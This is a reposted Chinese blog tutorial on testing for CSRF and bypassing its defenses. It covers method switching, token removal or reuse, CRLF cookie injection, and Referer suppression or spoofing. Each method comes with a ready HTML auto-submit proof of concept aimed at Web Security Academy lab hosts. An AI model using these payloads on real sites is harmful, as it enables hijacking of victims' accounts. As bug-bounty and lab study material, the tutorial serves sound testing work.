如何测试CSRF

admin 2022年9月28日12:05:10评论1,046 views字数 4903阅读16分20秒阅读模式

如何测试CSRF

前言

阅读本文之前如果不了解什么是csrf,请先看一个视频: https://v.qq.com/x/page/c0877u4a1ei.html

为什么要谈这个漏洞?这种漏洞单独提交的话,厂家可能不会给你还多钱,但是它往往和其他脆弱点造成一些高危漏洞:比如账户劫持,Oauth相关的漏洞

本文主要总结了几种常见的测试(绕过)方法

CSRF测试

基本流程:

1.在Burp Suite Professional中选择一个您想要测试或利用的请求。 
2.从右键单击上下文菜单中,选择“参与工具” /“生成CSRF PoC”。 
3.Bp将生成一些HTML来触发选定的请求(除去cookies,后者将由受害者的浏览器自动添加)。 
4.可以调整CSRF PoC生成器中的各种选项来微调攻击向量。在一些不寻常的情况下,可能需要这样做,以处理请求的奇怪的特性。
5.将生成的HTML复制到一个web页面中,在登录到该脆弱网站的浏览器中查看它,并测试是否成功发出了预期的请求和预期的操作。 

方法1-更改请求方法:POST→GET

此种情况下:CSRF令牌的验证取决于请求方法

  1. 拦截请求。

  2. 将此请求发送到repeater,然后右键单击并更改请求方法

  3. 删除csrf参数并生成csrf poc

  4. 进行编辑,例如:


<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="GET" action="https://ac591fd21f4ab3d2807a1b1d0007000d.web-security-academy.net:443/email/change-email?email=natsu%40natsu.com">
<input type="text" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  1. 发送至受害者

方法2-从请求中删除 csrf 参数。

CSRF令牌的验证取决于令牌是否存在

  1. 拦截请求。

  2. 将此请求发送到repeater,然后右键单击并更改请求方法

  3. 删除csrf参数(这里的意思是本来还有一个input,name为csrf)并生成csrf poc

  4. 进行编辑,例如:

<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac8a1fbd1e6d76ae806817f900d50032.web-security-academy.net:443/email/change-email">
<input type="text" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

方法3-在攻击中输入您自己的帐户生成的 CSRF 令牌。

  1. 拦截请求。
  2. 右键单击生成csrf poc
  3. 将代码复制到file.html中,删除会话令牌
  4. 编辑一下(注意下面代码中的email值都变为攻击者的了):
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://acd81f251e0c762980c31ae600c70041.web-security-academy.net:443/email/change-email">
<input type="text" name="email" value="[email protected]">
<input type="text" name="csrf" value="hacker-csrf-value-NqdmYFyfHgQl8JWLKd7YTOC24Tqdedpw">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

  1. 将file.html发送给受害者。

方法4-链接其他漏洞以添加你的 cookie,例如XSS,CRLF

例1-CSRF令牌绑定到一个非会话cookie,当我们有两个CSRF令牌时,一个在cookie中,另一个在功能中,这是由于存在两个框架,一个用于会话处理,一个用于CSRF保护,它们没有集成在一起。

cookie设置行为不需要存在于与CSRF漏洞相同的web应用程序中。如果所控制的cookie具有合适的作用域,则可以利用同一整体DNS域中的任何其他应用程序在目标应用程序中设置cookie。例如,staging.demo.normal-website.com上的cookie设置功能可以用来放置提交到secure.normal-website.com的cookie。

  1. 首先找到一个漏洞:允许您在受害者的cookie中注入一些东西。
  2. 测试CSRF令牌是否绑定到会话id
  3. 检查您的csrf令牌在受害者请求中替换时是否起作用
  4. 最后检查是否可以注入CRLF并更改csrf cookie值
  5. 现在做一个csrf poc与xss有效载荷执行crlf并发送这个poc给受害者
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac981fc81ee9f58b80984ae400200076.web-security-academy.net:443/my-account/change-email">
<input type="text" name="csrfKey" value="ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9">
<input type="text" name="email" value="[email protected]">
<input type="text" name="csrf" value="6EU5SJ9YKzfOsq9rNgDR8toGy0TKSw81">
<input type="submit" value="Send">
</form>
<img src="http://ac981fc81ee9f58b80984ae400200076.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9" onerror="document.forms[0].submit()">
</body>
</html>

例2:CSRF令牌在cookie中简单复制,这里CSRF令牌值可以是cookie中需要相同的值

  1. 拦截请求,尝试更改cookie和param中的csrf令牌
  2. 像上面那样制作类似的poc,但这次在crlf有效负载和请求参数中放入相同的csrf令牌。
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac071f601e8dc74380609c1d000900b3.web-security-academy.net:443/my-account/change-email">
<input type="text" name="csrf" value="K5r92qL9pGzpC2joPMkqgBSY1GG3eo6I">
<input type="text" name="session" value="xdCFpxBe1M0MHvk0DmFuzCRlImMgdxZk">
<input type="text" name="email" value="[email protected]">
<input type="text" name="csrf" value="fake">
<input type="submit" value="Send">
</form>
<img src="http://ac071f601e8dc74380609c1d000900b3.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()">
</body>
</html>
  1. 发给受害者。

方法5-完全删除或禁止引用标头

Referer验证依赖于header的存在。

  1. 拦截请求并尝试更改referer。
  2. 如果这不起作用,那么你将不得不抑制引用头。
  3. 您可以使用“<meta name="referrer" content="no-referrer">”或任何其他技术。
  4. POC如下:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac6d1fe21fb2a0c7809510e7001c006c.web-security-academy.net:443/my-account/change-email">
<input type="text" name="session" value="S4dyJbRWg1IqEpZlPkhICE5vJQhnv6ve">
<input type="text" name="email" value="[email protected]">
<meta name="referrer" content="no-referrer">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

方法6-在referer中添加attacker.com

  1. 拦截请求并尝试更改referer为attacker.com
  2. 现在生成一个普通的POC,并在脚本块中包含任何JavaScript来更改URL和Referer(如下)
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac761f621f79d75680e4054c00160033.web-security-academy.net:443/my-account/change-email">
<input type="text" name="session" value="rk13v2KYDFByO0OFL0xnHcnIVZbvAHNg">
<input type="text" name="email" value="[email protected]">
<input type="submit" value="Send">
</form>
<script>
<!-- history.pushState("", "", "/?$original-domain")-->
history.pushState("", "", "/?ac761f621f79d75680e4054c00160033.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>


原文始发于微信公众号(迪哥讲事):如何测试CSRF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月28日12:05:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何测试CSRFhttps://cn-sec.com/archives/1320790.html

发表评论

匿名网友 填写信息